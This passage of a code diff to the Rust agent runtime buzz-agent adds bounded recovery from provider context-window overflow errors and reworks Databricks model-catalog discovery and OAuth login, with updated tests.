-        let occurrences = result.iter().filter(|m| m.id == configured).count();
-        assert_eq!(occurrences, 1, "got: {result:?}");
-        assert_eq!(result.len(), DATABRICKS_V2_KNOWN_MODELS.len());
-    }
-
-    #[test]
-    fn v2_discovery_failure_fallback_tolerates_blank_configured_model() {
-        for configured in ["", "   "] {
-            let result = discovery_failure_fallback(Provider::DatabricksV2, configured);
-            let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect();
-            assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS.to_vec());
-        }
-    }
-
-    #[test]
-    fn v2_discovery_failure_fallback_dedupes_a_padded_configured_model() {
-        // `DATABRICKS_MODEL=" databricks-gpt-5-5 "` reaches here untrimmed, and an
-        // untrimmed comparison would list the model twice — once padded, once from
-        // the known slate.
-        let configured = DATABRICKS_V2_KNOWN_MODELS[0];
-        let result =
-            discovery_failure_fallback(Provider::DatabricksV2, &format!("  {configured} "));
-        let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect();
-        assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS.to_vec());
-    }
 }
diff --git a/crates/buzz-agent/src/config.rs b/crates/buzz-agent/src/config.rs
index afbda5379d..439e49f4e5 100644
--- a/crates/buzz-agent/src/config.rs
+++ b/crates/buzz-agent/src/config.rs
@@ -657,6 +657,21 @@ pub const HANDOFF_ORIGINAL_TASK_MAX_BYTES: usize = 16 * 1024;
 
 pub const HANDOFF_MAX_TOOL_NAMES: usize = 20;
 
+/// Maximum reactive context-recovery attempts per `run()`. A provider
+/// context-window 400 is recoverable — shrink history and retry — but the
+/// retry must be bounded: `max_rounds` defaults to `0` (unbounded), so without
+/// its own budget a request that stays oversized after every rescue would
+/// retry forever. On exhaustion the error surfaces to the caller, which is a
+/// visible failure rather than a silent infinite rescue.
+pub const MAX_CONTEXT_RECOVERIES_PER_RUN: u32 = 3;
+
+/// Floor for the reactive handoff's history-prompt budget, in bytes. Each
+/// recovery attempt halves the budget so the rescue summarize call can escape
+/// an overstated `max_context_tokens`, but halving must terminate: below this
+/// the prompt can no longer carry a useful summary, so the recovery gives up
+/// and surfaces the error instead of issuing ever-smaller doomed requests.
+pub const HANDOFF_MIN_PROMPT_BUDGET_BYTES: usize = 4 * 1024;
+
 const DEFAULT_SYSTEM_PROMPT: &str =
     "You are buzz-agent. Use the provided tools to act. Tool calls are your only output.";
 
@@ -714,6 +729,11 @@ pub struct Config {
     /// operators lower/raise it for other models. Set via
     /// `BUZZ_AGENT_MAX_CONTEXT_TOKENS`.
     pub max_context_tokens: u64,
+    /// Maximum context-handoff attempts permitted within a single
+    /// `session/prompt` turn. Caps runaway compaction loops inside one turn;
+    /// does NOT limit handoffs across a session's lifetime — a long-lived
+    /// session can compact on every successive turn without hitting this bound.
+    /// Set via `BUZZ_AGENT_MAX_HANDOFFS`. Default 10.
     pub max_handoffs: usize,
     pub max_parallel_tools: usize,
     pub hook_timeout: Duration,
diff --git a/crates/buzz-agent/src/handoff.rs b/crates/buzz-agent/src/handoff.rs
index 3b0feefecf..5fdbc3079d 100644
--- a/crates/buzz-agent/src/handoff.rs
+++ b/crates/buzz-agent/src/handoff.rs
@@ -1,6 +1,7 @@
 use crate::agent::RunCtx;
 use crate::config::{
-    HANDOFF_MAX_OUTPUT_TOKENS, HANDOFF_MAX_TOOL_NAMES, HANDOFF_ORIGINAL_TASK_MAX_BYTES,
+    HANDOFF_MAX_OUTPUT_TOKENS, HANDOFF_MAX_TOOL_NAMES, HANDOFF_MIN_PROMPT_BUDGET_BYTES,
+    HANDOFF_ORIGINAL_TASK_MAX_BYTES, MAX_CONTEXT_RECOVERIES_PER_RUN,
 };
 use crate::types::HistoryItem;
 
@@ -22,24 +23,147 @@ pub(crate) enum HandoffOutcome {
     Cancelled,
 }
 
+/// Result of the reactive context-recovery ladder.
+pub(crate) enum ContextRecovery {
+    /// History was reset; the caller should retry the request.
+    Recovered,
+    /// Cancelled mid-recovery.
+    Cancelled,
+    /// No rescue remains — the caller must surface the provider error. Either
+    /// the per-`run()` budget is spent or the prompt budget fell below the
+    /// floor where a summary can still be useful.
+    Exhausted,
+}
+
 const HANDOFF_SYSTEM_PROMPT: &str = "You are generating a context handoff summary for the next \
 turn of an autonomous agent. Be concise but thorough. Cover: what the original task was, what \
 you accomplished, key decisions made, what remains, and one concrete next step. Output plain \
 text only — no tool calls, no JSON. Stay under 8192 tokens.";
 
 impl RunCtx<'_> {
-    pub(crate) async fn maybe_handoff(&mut self) -> HandoffOutcome {
+    pub(crate) async fn maybe_handoff(&mut self, handoff_attempts: &mut usize) -> HandoffOutcome {
         if !self.should_handoff() {
             return HandoffOutcome::Skipped;
         }
-        if *self.handoff_count >= self.cfg.max_handoffs {
-            tracing::info!(
-                "handoff cap reached ({}); using truncation",
-                self.cfg.max_handoffs
+        if *handoff_attempts >= self.cfg.max_handoffs {
+            let projected = self.projected_handoff_input_tokens();
+            let threshold =
+                token_threshold(self.cfg.max_context_tokens, self.cfg.max_output_tokens);
+            tracing::warn!(
+                session_id = self.session_id,
+                reason = "preflight",
+                handoff_attempts = *handoff_attempts,
+                max_handoffs = self.cfg.max_handoffs,
+                projected_tokens = projected,
+                threshold_tokens = threshold,
+                "handoff cap reached; using truncation",
             );
             return HandoffOutcome::Skipped;
         }
-        let prompt = self.build_handoff_prompt();
+        // Consume one attempt slot before calling handoff(). This ensures
+        // that empty-summary, summarize-error, and cancellation outcomes all
+        // burn budget — not just successful compactions — so the cap cannot
+        // be bypassed by a flaky summarizer.
+        *handoff_attempts += 1;
+        self.handoff(None).await
+    }
+
+    /// Handoff forced by a provider context-window rejection, bypassing both
+    /// gates in [`Self::maybe_handoff`].
+    ///
+    /// The gates exist to *predict* overflow; a 400 naming a context-length
+    /// overflow is overflow already observed, so neither prediction applies.
+    /// `should_handoff()` reads a token count frozen at the last SUCCESSFUL
+    /// request (a failed request reports no usage), so it is under threshold by
+    /// construction — that frozen reading is the permanent stick. And
+    /// `max_handoffs` is a cost cap whose only alternative here is a request
+    /// that cannot succeed.
+    ///
+    /// `history_budget_bytes` is explicit rather than derived from
+    /// `cfg.max_context_tokens`: that window is the quantity the provider just
+    /// contradicted, so the recovery ladder must not be computed from it.
+    pub(crate) async fn forced_handoff(&mut self, history_budget_bytes: usize) -> HandoffOutcome {
+        tracing::warn!(
+            "provider reported context overflow; forcing handoff (history budget {history_budget_bytes} bytes)"
+        );
+        self.handoff(Some(history_budget_bytes)).await
+    }
+
+    /// The reactive context-recovery ladder, run after the provider rejected a
+    /// request with a context-window 400.
+    ///
+    /// `attempts` is the caller's per-`run()` recovery counter, advanced here as
+    /// rungs are consumed. The caller owns it so the budget spans every
+    /// context-400 in the turn, not just the rungs of one ladder.
+    ///
+    /// The shrink schedule is anchored on the history that was just *observed*
+    /// to be too large, halving from there — not on `cfg.max_context_tokens`,
+    /// which the provider just contradicted and which may be overstated by an
+    /// unknown factor. Halving needs no calibration: by the third rung it is at
+    /// 1/8 of the rejected size.
+    ///
+    /// Loops rather than returning after one rung because the summarize call
+    /// travels the same provider path and can be rejected for the same reason.
+    /// Treating that as unrecoverable would reproduce the very stick this fixes:
+    /// the next rung halves the summarizer's own prompt, which is the only way
+    /// out.
+    ///
+    /// Gives up when the next budget would fall below
+    /// [`HANDOFF_MIN_PROMPT_BUDGET_BYTES`]. That can happen on the FIRST rung
+    /// when history is already small — correct, not premature: if a few KiB of
+    /// history still overflows the window, the overflow is dominated by what a
+    /// handoff cannot shrink (system prompt, tool schemas, the live user
+    /// prompt), so further halving would only issue smaller doomed requests in
+    /// place of a clear error.
+    pub(crate) async fn recover_from_context_overflow(
+        &mut self,
+        attempts: &mut u32,
+    ) -> ContextRecovery {
+        let rejected_bytes: usize = self
+            .history
+            .iter()
+            .map(HistoryItem::context_pressure_bytes)
+            .sum();
+        loop {
+            if *attempts >= MAX_CONTEXT_RECOVERIES_PER_RUN {
+                tracing::error!(
+                    "context recovery budget spent ({MAX_CONTEXT_RECOVERIES_PER_RUN} attempts this turn); surfacing provider error"
+                );
+                return ContextRecovery::Exhausted;
+            }
+            // Shift by `attempts + 1`: the first rung already halves, since
+            // rebuilding the rejected size would just fail again.
+            let shift = (*attempts + 1).min(usize::BITS - 1);
+            let budget = rejected_bytes >> shift;
+            *attempts += 1;
+            if budget < HANDOFF_MIN_PROMPT_BUDGET_BYTES {
+                tracing::error!(
+                    "context recovery would shrink the handoff prompt to {budget} bytes, below \
+                     the {HANDOFF_MIN_PROMPT_BUDGET_BYTES}-byte floor (history {rejected_bytes} \
+                     bytes); surfacing provider error"
+                );
+                return ContextRecovery::Exhausted;
+            }
+            match self.forced_handoff(budget).await {
+                HandoffOutcome::Performed => return ContextRecovery::Recovered,
+                HandoffOutcome::Cancelled => return ContextRecovery::Cancelled,
+                // Summarizer errored or returned nothing — possibly because its
+                // own prompt overflowed. Truncation is not a usable fallback
+                // (it sizes against the request-body budget, not context
+                // pressure), so take the next rung with a smaller prompt.
+                HandoffOutcome::Skipped => {
+                    tracing::warn!(
+                        "forced handoff at {budget} bytes did not run; shrinking further"
+                    )
+                }
+            }
+        }
+    }
+
+    /// The handoff mechanism itself: summarize, reset, re-seat the live prompt.
+    /// Holds no gate — callers decide whether a handoff is warranted.
+    async fn handoff(&mut self, history_budget_bytes: Option<usize>) -> HandoffOutcome {
+        let prompt = self.build_handoff_prompt(history_budget_bytes);
         let tokens_before = self.projected_handoff_input_tokens();
         let summary = tokio::select! {
             biased;
@@ -164,7 +288,10 @@ impl RunCtx<'_> {
         }
     }
 
-    fn build_handoff_prompt(&self) -> String {
+    /// Build the summarizer prompt. `history_budget_bytes` overrides the
+    /// budget normally derived from `cfg.max_context_tokens`; `None` keeps the
+    /// derived value, which is what the proactive path uses.
+    fn build_handoff_prompt(&self, history_budget_bytes: Option<usize>) -> String {
         let mut head = String::new();
         head.push_str(&format!(
             "[Internal handoff #{} — context reset]\n\n",
@@ -192,11 +319,22 @@ impl RunCtx<'_> {
              (2) what was accomplished, (3) key decisions, (4) what remains, \
              (5) one concrete next step. Be concise but thorough. Plain text.\n";
         let history_header = "\n# Session History (oldest first)\n";
-        let prompt_budget = handoff_prompt_budget_bytes(
-            self.cfg.max_context_tokens,
-            HANDOFF_MAX_OUTPUT_TOKENS,
-            head.len() + history_header.len() + tail.len(),
-        );
+        let fixed_bytes = head.len() + history_header.len() + tail.len();
+        // An explicit budget is the allowance for the whole prompt, so subtract
+        // the fixed frame from it exactly as the derived path does — otherwise
+        // a caller's ceiling would be silently exceeded by the frame. When the
+        // frame alone is larger than the budget, history drops to zero and the
+        // frame is what remains: it is already independently clamped
+        // (`HANDOFF_ORIGINAL_TASK_MAX_BYTES`, `HANDOFF_MAX_TOOL_NAMES`) and is
+        // not reducible from here.
+        let prompt_budget = match history_budget_bytes {
+            Some(explicit) => explicit.saturating_sub(fixed_bytes),
+            None => handoff_prompt_budget_bytes(
+                self.cfg.max_context_tokens,
+                HANDOFF_MAX_OUTPUT_TOKENS,
+                fixed_bytes,
+            ),
+        };
 
         let mut snippets: Vec<String> = Vec::new();
         let mut snippets_bytes = 0usize;
diff --git a/crates/buzz-agent/src/lib.rs b/crates/buzz-agent/src/lib.rs
index 9a45bf4c98..940bd2a9c2 100644
--- a/crates/buzz-agent/src/lib.rs
+++ b/crates/buzz-agent/src/lib.rs
@@ -54,10 +54,10 @@ struct App {
     llm: Arc<Llm>,
     sessions: Mutex<HashMap<String, Session>>,
     /// Cached model catalog for Databricks providers. Populated lazily on the
-    /// first successful `session/new` discovery call. When discovery fails (e.g.
-    /// auth missing or a transient network error) the cell is intentionally left
-    /// empty so the next `session/new` call retries — a transient failure never
-    /// pins the degraded fallback catalog for the process lifetime.
+    /// first successful `session/new` discovery call. Failed discovery is never
+    /// cached: static-token authentication errors reject session creation, while
+    /// OAuth authentication and non-auth errors use the configured model for that
+    /// response and retry on the next session.
     models_cache: tokio::sync::OnceCell<Vec<ModelEntry>>,
 }
 
@@ -135,6 +135,12 @@ pub fn run() -> Result<(), Box<dyn std::error::Error>> {
     Ok(())
 }
 
+pub async fn authenticate_databricks(host: &str) -> Result<(), AgentError> {
+    auth::PkceOAuthTokenSource::new(llm::databricks_pkce_config(host))?
+        .interactive_login()
+        .await
+}
+
 /// `buzz-agent auth <provider>` — run the interactive auth flow for a
 /// provider and persist the result, then exit. Today this supports Databricks
 /// OAuth 2.0 PKCE. Reads `DATABRICKS_HOST` from env; needs a browser on the
@@ -145,18 +151,7 @@ async fn auth_subcommand(args: &[String]) -> Result<(), Box<dyn std::error::Erro
         Some("databricks" | "databricks_v2" | "databricks-v2") => {
             let host = std::env::var("DATABRICKS_HOST")
                 .map_err(|_| "auth databricks: DATABRICKS_HOST required")?;
-            let pkce = auth::PkceOAuthConfig {
-                discovery_url: format!(
-                    "{}/oidc/.well-known/oauth-authorization-server",
-                    host.trim_end_matches('/')
-                ),
-                client_id: "databricks-cli".into(),
-                scopes: vec!["all-apis".into(), "offline_access".into()],
-                cache_namespace: "databricks".into(),
-                cache_dir_override: None,
-            };
-            let src = auth::PkceOAuthTokenSource::new(pkce)?;
-            src.interactive_login().await?;
+            authenticate_databricks(&host).await?;
             eprintln!("Authenticated. Token cached under ~/.config/buzz-agent/oauth/databricks/.");
             Ok(())
         }
@@ -317,26 +312,27 @@ async fn initialize(id: Value, params: Value, wire_tx: &WireSender) {
 ///
 /// Tries to use a previously-cached successful discovery result. If the cache is empty,
 /// runs `discover` and — on success — populates the cache for future calls. On failure
-/// the cell is intentionally left empty so the next session retries; the provider-aware
-/// fallback is returned for the immediate response only.
+/// the error is returned and the cell is intentionally left empty so the next session retries.
 ///
 /// Extracted from `session_new` so that tests can drive this path with an injected
 /// discovery future without requiring a full `App` / transport stack.
 async fn resolve_models_catalog(
     cache: &tokio::sync::OnceCell<Vec<ModelEntry>>,
-    provider: crate::config::Provider,
-    model: &str,
     discover: impl std::future::Future<Output = Result<Vec<ModelEntry>, AgentError>>,
-) -> Vec<ModelEntry> {
-    match cache.get_or_try_init(|| discover).await {
-        Ok(cached) => cached.clone(),
-        Err(e) => {
-            tracing::warn!(
-                "model catalog discovery failed: {e}; using fallback (will retry next session)"
-            );
-            crate::catalog::discovery_failure_fallback(provider, model)
-        }
-    }
+) -> Result<Vec<ModelEntry>, AgentError> {
+    cache.get_or_try_init(|| discover).await.cloned()
+}
+
+/// Return the configured model as a one-entry catalog for this response.
+///
+/// This value is never written to `models_cache`; failed discovery must be retried by
+/// the next session rather than pinning degraded state for the process lifetime.
+fn configured_model_fallback(model: &str) -> Vec<ModelEntry> {
+    let model = model.trim().to_string();
+    vec![ModelEntry {
+        id: model.clone(),
+        name: model,
+    }]
 }
 
 async fn session_new(app: &Arc<App>, id: Value, params: Value, wire_tx: &WireSender) {
@@ -400,6 +396,50 @@ async fn session_new(app: &Arc<App>, id: Value, params: Value, wire_tx: &WireSen
         }
         Arc::from(prompt)
     };
+    // Resolve the model catalog before spawning MCP servers or registering a
+    // session. A configured static credential cannot recover interactively, so
+    // its authentication failure rejects before allocation. OAuth authentication
+    // failures and other catalog failures use only the configured model for this
+    // response, without caching, so session/prompt can run the existing PKCE flow.
+    let available_models: Vec<Value> = {
+        use crate::config::Provider;
+        match app.cfg.provider {
+            Provider::Databricks | Provider::DatabricksV2 => {
+                let models = match resolve_models_catalog(
+                    &app.models_cache,
+                    discover_databricks_models(&app.cfg),
+                )
+                .await
+                {
+                    Ok(models) => models,
+                    Err(error @ AgentError::LlmAuth(_)) if !app.cfg.api_key.is_empty() => {
+                        return reject(wire_tx, id, error.json_rpc_code(), &error.to_string())
+                            .await;
+                    }
+                    Err(error @ AgentError::LlmAuth(_)) => {
+                        tracing::warn!(
+                            error = %error,
+                            "Databricks OAuth model catalog unavailable; using configured model"
+                        );
+                        configured_model_fallback(&app.cfg.model)
+                    }
+                    Err(error) => {
+                        tracing::warn!(
+                            error = %error,
+                            "Databricks model catalog unavailable; using configured model"
+                        );
+                        configured_model_fallback(&app.cfg.model)
+                    }
+                };
+                models
+                    .iter()
+                    .map(|m| json!({ "modelId": m.id, "name": m.name }))
+                    .collect()
+            }
+            _ => vec![json!({ "modelId": app.cfg.model, "name": app.cfg.model })],
+        }
+    };
+
     let mcp = match McpRegistry::spawn_all(&app.cfg, &p.mcp_servers, &p.cwd).await {
         Ok(m) => Arc::new(m),
         Err(e) => return reject(wire_tx, id, e.json_rpc_code(), &e.to_string()).await,
@@ -445,36 +485,6 @@ async fn session_new(app: &Arc<App>, id: Value, params: Value, wire_tx: &WireSen
     );
     drop(sessions);
 
-    // Build a models catalog for the `session/new` response. For Databricks
-    // providers this advertises available models so the desktop ModelPicker and
-    // pool can resolve `session/set_model` switches. For Anthropic/OpenAI we
-    // report only the configured model — live switching on those providers
-    // effectively requires respawn.
-    //
-    // `models_cache` caches only a successful discovery result (`get_or_try_init`
-    // leaves the cell empty on error so the next `session/new` call retries). On
-    // discovery failure the fallback is used for the immediate response without
-    // being written to the cell.
-    let available_models: Vec<Value> = {
-        use crate::config::Provider;
-        match app.cfg.provider {
-            Provider::Databricks | Provider::DatabricksV2 => {
-                let models = resolve_models_catalog(
-                    &app.models_cache,
-                    app.cfg.provider,
-                    &app.cfg.model,
-                    discover_databricks_models(&app.cfg),
-                )
-                .await;
-                models
-                    .iter()
-                    .map(|m| json!({ "modelId": m.id, "name": m.name }))
-                    .collect()
-            }
-            _ => vec![json!({ "modelId": app.cfg.model, "name": app.cfg.model })],
-        }
-    };
-
     wire::send(
         wire_tx,
         wire::ok(
@@ -658,6 +668,7 @@ async fn run_prompt(app: Arc<App>, id: Value, params: Value, wire_tx: WireSender
         effective_model_override,
         run_id,
         mut steer_rx,
+        usage_baseline,
     ) = match acquire_session(&app, &p.session_id).await {
         Ok(v) => v,
         Err(reason) => {
@@ -709,6 +720,7 @@ async fn run_prompt(app: Arc<App>, id: Value, params: Value, wire_tx: WireSender
         turn_output_tokens: &mut turn_output_tokens,
         turn_cached_input_tokens: &mut turn_cached_input_tokens,
         turn_total_state: &mut turn_total_state,
+        usage_baseline,
     };
     let result = ctx.run(p.prompt).await;
     if let Some(s) = app.sessions.lock().await.get_mut(&sid) {
@@ -766,28 +778,16 @@ async fn run_prompt(app: Arc<App>, id: Value, params: Value, wire_tx: WireSender
         if let Some((accumulated_in, accumulated_out, accumulated_cached, accumulated_total)) =
             accumulated
         {
-            // Build the usage_update payload. `accumulatedTotalTokens` is only
-            // included when the cumulative is exactly known — never when Unseen
-            // (no total ever observed) or Unknown (at least one turn lacked a
-            // total). A goose consumer that doesn't recognise the field ignores it.
-            let mut update = serde_json::json!({
-                "sessionUpdate": "usage_update",
-                // used: total tokens as a context-usage proxy;
-                // contextLimit: 0 (buzz-agent has no context limit tracking).
-                "used": accumulated_in.saturating_add(accumulated_out),
-                "contextLimit": 0u64,
-                "accumulatedInputTokens": accumulated_in,
-                "accumulatedOutputTokens": accumulated_out,
-                // A subset of accumulatedInputTokens, not an addition to
-                // it. Extends goose's usage_update shape; a consumer that
-                // does not know the field ignores it and prices exactly as
-                // it did before.
-                "accumulatedCachedInputTokens": accumulated_cached,
-                "model": effective_model_str,
-            });
-            if let crate::types::TurnTotalState::Exact(total) = accumulated_total {
-                update["accumulatedTotalTokens"] = serde_json::json!(total);
-            }
+            // Same builder the run loop uses for its per-round reports, so the
+            // final notification is shape-identical to the ones that preceded
+            // it and a consumer taking the high-water mark lands on this one.
+            let update = wire::usage_update_payload(
+                accumulated_in,
+                accumulated_out,
+                accumulated_cached,
+                accumulated_total,
+                effective_model_str,
+            );
             wire::send(&wire_tx, goose_session_update(&sid, update)).await;
         }
     }
@@ -821,6 +821,7 @@ async fn acquire_session(
         Option<String>,
         String,
         mpsc::UnboundedReceiver<Vec<ContentBlock>>,
+        crate::types::SessionUsageBaseline,
     ),
     &'static str,
 > {
@@ -857,6 +858,17 @@ async fn acquire_session(
         effective_model,
         run_id,
         steer_rx,
+        // Snapshot rather than a handle: the run loop reports cumulative usage
+        // after every LLM round, and taking the sessions lock on each of those
+        // would serialise concurrent sessions behind one another's provider
+        // round-trips. Nothing else advances these counters while this turn
+        // holds `busy`, so the snapshot cannot go stale under it.
+        crate::types::SessionUsageBaseline {
+            input_tokens: s.accumulated_input_tokens,
+            output_tokens: s.accumulated_output_tokens,
+            cached_input_tokens: s.accumulated_cached_input_tokens,
+            total_state: s.accumulated_total_state,
+        },
     ))
 }
 
@@ -868,8 +880,7 @@ fn session_token() -> Result<String, String> {
 
 #[cfg(test)]
 mod tests {
-    use crate::catalog::{discovery_failure_fallback, ModelEntry, DATABRICKS_V2_KNOWN_MODELS};
-    use crate::config::Provider;
+    use crate::catalog::ModelEntry;
     use crate::types::AgentError;
 
     /// Regression: a discovery error must not pin the models_cache for the process lifetime.
@@ -882,23 +893,14 @@ mod tests {
     #[tokio::test]
     async fn models_cache_does_not_pin_on_discovery_error() {
         let cache: tokio::sync::OnceCell<Vec<ModelEntry>> = tokio::sync::OnceCell::new();
-        let provider = Provider::DatabricksV2;
-        let model = "my-configured-model";
 
-        // First call — discovery fails. Cell must remain empty; fallback returned.
-        let first = crate::resolve_models_catalog(&cache, provider, model, async {
-            Err::<Vec<ModelEntry>, AgentError>(AgentError::LlmAuth("transient failure".into()))
+        // First call — discovery failure is surfaced and leaves the cell empty.
+        let error = crate::resolve_models_catalog(&cache, async {
+            Err::<Vec<ModelEntry>, AgentError>(AgentError::Llm("transient failure".into()))
         })
-        .await;
-        assert!(
-            cache.get().is_none(),
-            "cell must be empty after a discovery error — next session must retry"
-        );
-        let expected_fallback = discovery_failure_fallback(provider, model);
-        assert_eq!(
-            first, expected_fallback,
-            "error path must return the provider-aware fallback"
-        );
+        .await
+        .unwrap_err();
+        assert!(matches!(error, AgentError::Llm(_)));
 
         // Second call — discovery succeeds. Cell is now populated and returned.
         let discovered = vec![ModelEntry {
@@ -906,10 +908,11 @@ mod tests {
             name: "databricks-meta-llama-3-1-70b-instruct".into(),
         }];
         let discovered_clone = discovered.clone();
-        let second = crate::resolve_models_catalog(&cache, provider, model, async move {
+        let second = crate::resolve_models_catalog(&cache, async move {
             Ok::<Vec<ModelEntry>, AgentError>(discovered_clone)
         })
-        .await;
+        .await
+        .unwrap();
         assert_eq!(
             second, discovered,
             "second call must return the discovered catalog"
@@ -925,78 +928,40 @@ mod tests {
         );
     }
 
-    /// Regression: legacy `Provider::Databricks` must not advertise v2 AI Gateway model IDs
-    /// on discovery failure (Wes W1). This test calls `discovery_failure_fallback` directly —
-    /// the same helper used by `session_new` — and verifies the split behavior. It FAILS if
-    /// the arm is un-split (i.e., if both providers return the v2 catalog on failure).
-    #[test]
-    fn databricks_discovery_failure_fallback_legacy_returns_configured_model_only() {
-        let configured = "my-serving-endpoint";
-        let result = discovery_failure_fallback(Provider::Databricks, configured);
-
-        // Legacy Databricks must advertise exactly the configured model — nothing more.
-        assert_eq!(
-            result.len(),
-            1,
-            "legacy Databricks fallback must contain exactly one entry, got: {result:?}"
-        );
-        assert_eq!(
-            result[0].id, configured,
-            "legacy Databricks fallback must be the configured model"
-        );
+    #[tokio::test]
+    async fn models_catalog_does_not_cache_oauth_auth_fallback() {
+        let cache: tokio::sync::OnceCell<Vec<ModelEntry>> = tokio::sync::OnceCell::new();
+        let error = crate::resolve_models_catalog(&cache, async {
+            Err::<Vec<ModelEntry>, AgentError>(AgentError::LlmAuth("sign in again".into()))
+        })
+        .await
+        .unwrap_err();
 
-        // Crucially: must NOT contain any DATABRICKS_V2_KNOWN_MODELS entry.
-        let v2_ids: Vec<&str> = DATABRICKS_V2_KNOWN_MODELS.to_vec();
-        for id in &result {
-            assert!(
-                !v2_ids.contains(&id.id.as_str()),
-                "legacy Databricks fallback must not include v2 ID '{}' — that endpoint \
-                 may not be served by /serving-endpoints/{{model}}/invocations",
-                id.id
-            );
-        }
-    }
+        assert!(matches!(error, AgentError::LlmAuth(_)));
+        assert!(cache.get().is_none());
 
-    #[test]
-    fn databricks_discovery_failure_fallback_v2_returns_known_models_catalog() {
-        let configured = "my-configured-model";
-        let result = discovery_failure_fallback(Provider::DatabricksV2, configured);
+        let discovered = vec![ModelEntry {
+            id: "authenticated-model".into(),
+            name: "authenticated-model".into(),
+        }];
+        let result = crate::resolve_models_catalog(&cache, async {
+            Ok::<Vec<ModelEntry>, AgentError>(discovered.clone())
+        })
+        .await
+        .unwrap();
 
-        // DatabricksV2 must return the full DATABRICKS_V2_KNOWN_MODELS list,
-        // plus the configured model so the picker can still represent the model
-        // the agent is actually running.
-        assert_eq!(
-            result.len(),
-            DATABRICKS_V2_KNOWN_MODELS.len() + 1,
-            "DatabricksV2 fallback must return all known models plus the configured model"
-        );
-        let result_ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect();
-        for known_id in DATABRICKS_V2_KNOWN_MODELS {
-            assert!(
-                result_ids.contains(known_id),
-                "DatabricksV2 fallback must include known model '{known_id}'"
-            );
-        }
-        assert!(
-            result_ids.contains(&configured),
-            "DatabricksV2 fallback must include the configured model"
-        );
+        assert_eq!(result, discovered);
+        assert_eq!(cache.get(), Some(&discovered));
     }
 
     #[test]
-    fn databricks_discovery_failure_fallback_split_verified() {
-        // This test FAILS if the v1/v2 arms are merged back into one — it directly verifies
-        // that the two providers' error-path behavior diverges (Wes W1 protection).
-        let v1 = discovery_failure_fallback(Provider::Databricks, "my-endpoint");
-        let v2 = discovery_failure_fallback(Provider::DatabricksV2, "my-endpoint");
-
-        let v1_ids: Vec<&str> = v1.iter().map(|m| m.id.as_str()).collect();
-        let v2_ids: Vec<&str> = v2.iter().map(|m| m.id.as_str()).collect();
-
-        assert_ne!(
-            v1_ids, v2_ids,
-            "Provider::Databricks and Provider::DatabricksV2 must return different \
-             fallback catalogs — if they are equal, the W1 arm split has been reverted"
+    fn configured_model_fallback_is_trimmed_and_singular() {
+        assert_eq!(
+            crate::configured_model_fallback("  configured-model  "),
+            vec![ModelEntry {
+                id: "configured-model".into(),
+                name: "configured-model".into(),
+            }]
         );
     }
 }
diff --git a/crates/buzz-agent/src/llm.rs b/crates/buzz-agent/src/llm.rs
index 73c7e1faf2..267b2d21b5 100644
--- a/crates/buzz-agent/src/llm.rs
+++ b/crates/buzz-agent/src/llm.rs
@@ -130,22 +130,13 @@ impl Llm {
     ) -> Result<LlmResponse, AgentError> {
         let effort = cfg.thinking_effort;
         let result = match cfg.provider {
-            Provider::Anthropic => {
-                let v = self
-                    .post_anthropic(
-                        cfg,
-                        &anthropic_body(
-                            cfg,
-                            system_prompt,
-                            history,
-                            tools,
-                            effective_model,
-                            effort,
-                        ),
-                    )
-                    .await?;
-                parse_anthropic(v)
-            }
+            Provider::Anthropic => self
+                .post_anthropic(
+                    cfg,
+                    &anthropic_body(cfg, system_prompt, history, tools, effective_model, effort),
+                )
+                .await
+                .and_then(parse_anthropic),
             Provider::OpenRouter => {
                 let mut body =
                     openai_body(cfg, system_prompt, history, tools, effective_model, None);
@@ -155,8 +146,9 @@ impl Llm {
                     effective_model,
                     cfg.prompt_caching,
                 );
-                let v = self.post_openrouter(cfg, &body).await?;
-                parse_openai_with_reasoning_details(v)
+                self.post_openrouter(cfg, &body)
+                    .await
+                    .and_then(parse_openai_with_reasoning_details)
             }
             Provider::OpenAi | Provider::Databricks => {
                 self.openai_request(
@@ -230,11 +222,21 @@ impl Llm {
         // map_err here prepends `(model-name) ` to the inner string only.
         // This is the single place all provider paths converge, so the mapping
         // is centralized and never needs to be repeated in each provider arm.
+        // Every arm above returns its `Result` into this mapper rather than
+        // using `?` — an early return would silently skip the stamp, which is
+        // exactly what the Anthropic and OpenRouter arms used to do.
         result.map_err(|e| match e {
             AgentError::Llm(s) => AgentError::Llm(format!("({effective_model}) {s}")),
             AgentError::LlmModelNotFound(s) => {
                 AgentError::LlmModelNotFound(format!("({effective_model}) {s}"))
             }
+            // Stamped like the others: this is the error most likely to be read
+            // during an incident, so it must name the model whose window was
+            // exceeded. Without an explicit arm it would fall through `other`
+            // and be the only unstamped provider error.
+            AgentError::LlmContextExceeded(s) => {
+                AgentError::LlmContextExceeded(format!("({effective_model}) {s}"))
+            }
             other => other,
         })
     }
@@ -1084,6 +1086,29 @@ fn responses_body(
     body
 }
 
+/// Narrow matcher for "the input exceeded the model's context window" provider
+/// errors — the ground-truth signal that history must shrink. Only consulted
+/// alongside an HTTP 400 (see the two `!status.is_success()` classification
+/// sites), never on its own: the phrases below are specific, but pairing them
+/// with the status keeps an unrelated 4xx that happens to quote one of them
+/// from triggering a recovery.
+///
+/// Deliberately tight. A generic 400 must stay `AgentError::Llm` so it remains
+/// terminal — misclassifying one as recoverable would spend the whole recovery
+/// budget on an error that shrinking history cannot fix, replacing a clear
+/// failure with a slow one.
+fn is_context_length_error(body: &str) -> bool {
+    let b = body.to_ascii_lowercase();
+    // OpenAI/Databricks machine-readable code; the most reliable marker.
+    b.contains("context_length_exceeded")
+        // Prose forms: OpenAI's classic phrasing and the Databricks gateway's
+        // "context window of this model" variant seen in both bug reports.
+        || b.contains("maximum context length")
+        || b.contains("context window")
+        // Anthropic: "prompt is too long: N tokens > M maximum".
+        || b.contains("prompt is too long")
+}
+
 /// Narrow matcher for "you should be on the Responses API" provider errors,
 /// the signal we use to auto-upgrade. Triggers on the literal path
 /// `/v1/responses` (Databricks GPT-5.5 phrasing) or the prose
@@ -1706,6 +1731,11 @@ fn is_retryable_transport_error(e: &reqwest::Error) -> bool {
     e.is_timeout() || e.is_connect() || e.is_request()
 }
 
+fn is_unsupported_image_input_error(body: &str) -> bool {
+    body.to_ascii_lowercase()
+        .contains("no endpoints found that support image input")
+}
+
 /// Build the terminal `AgentError::Llm` for a `post()` exit that has given up
 /// retrying — persistent retryable status, transport failure, or a body-read
